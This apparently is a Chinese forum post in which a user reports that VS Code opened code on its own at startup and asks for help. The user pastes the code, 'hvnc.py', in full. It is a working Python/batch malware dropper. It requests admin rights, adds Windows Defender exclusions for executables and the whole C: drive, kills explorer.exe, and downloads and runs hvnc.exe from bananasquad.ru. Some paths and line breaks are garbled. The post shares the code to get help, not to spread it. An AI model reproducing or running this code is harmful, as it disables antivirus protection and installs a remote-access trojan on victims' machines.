开机的时候自动用 vscode 打开了一段代码。ChatGPT 说是病毒??

28次阅读

共计 2534 个字符,预计需要花费 7 分钟才能阅读完成。

代码传网盘了,有没有大佬能看看怎么办😭
https://www.alipan.com/s/ysPCcqoe5TT

第一个文件名是 hvnc.py

import os
import subprocess
script = """
import os

def create_and_run_bat_script():
    bat_script_content = '''
@echo off
set "filePath=%appdata%Microsoftemptyfile20947.txt"
:: BatchGotAdmin
:-------------------------------------
REM  --> Check for permissions
    IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (>nul 2>&1 "%SYSTEMROOT%SysWOW64cacls.exe" "%SYSTEMROOT%SysWOW64configsystem"
) ELSE (>nul 2>&1 "%SYSTEMROOT%system32cacls.exe" "%SYSTEMROOT%system32configsystem"
)

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
) else (goto gotAdmin)

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%getadmin.vbs"
    set params= %*
    echo UAC.ShellExecute "cmd.exe", "/c""%~s0""%params:"=""%", "","runas", 1 >>"%temp%getadmin.vbs""%temp%getadmin.vbs"
    del "%temp%getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
:--------------------------------------    

mkdir "C:WindowsWinEmptyfold"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension'.exe'"powershell.exe -WindowStyle Hidden -Command"Add-MpPreference -ExclusionExtension '.dll'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension'exe'"powershell.exe -WindowStyle Hidden -Command"Add-MpPreference -ExclusionExtension 'dll'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath'C:'"set"temp_file=%TEMP%hahabonk.exe"powershell -command"(New-Object System.Net.WebClient).DownloadFile('https://bananasquad.ru/hvnc.exe', '%temp_file%')"start"" "%temp_file%"
del /q "%appdata%Microsoftrunpython.py"
'''temp_folder = os.environ.get('TEMP','')
    if temp_folder:
        bat_script_path = os.path.join(temp_folder, 'temp_script.bat')
        with open(bat_script_path, 'w') as bat_file:
            bat_file.write(bat_script_content)
        os.system(bat_script_path)
    else:
        print("Failed to get the TEMP folder path.")

if os.name == 'nt':
    folder_path = r"C:WindowsWinEmptyfold"
    if os.path.exists(folder_path):
        exit()
    else:
        os.system('timeout 600')
        os.system('taskkill /f /im explorer.exe')
        create_and_run_bat_script()
        while True:
            os.system('timeout 5')
            if os.path.exists(folder_path):
                os.system('start explorer.exe')
                break
            else:
                create_and_run_bat_script()
"""appdata = os.environ.get('APPDATA','')
if appdata:
    # create microsoft folder if it doesn't exist
    microsoft_folder = os.path.join(appdata, 'Microsoft')
    if not os.path.exists(microsoft_folder):
        os.mkdir(microsoft_folder)
    script_path = os.path.join(appdata, 'Microsoft', 'runpython.py')
    with open(script_path, 'w') as script_file:
        script_file.write(script)
subprocess.Popen(['python', script_path], creationflags=subprocess.CREATE_NO_WINDOW)

正文完
 0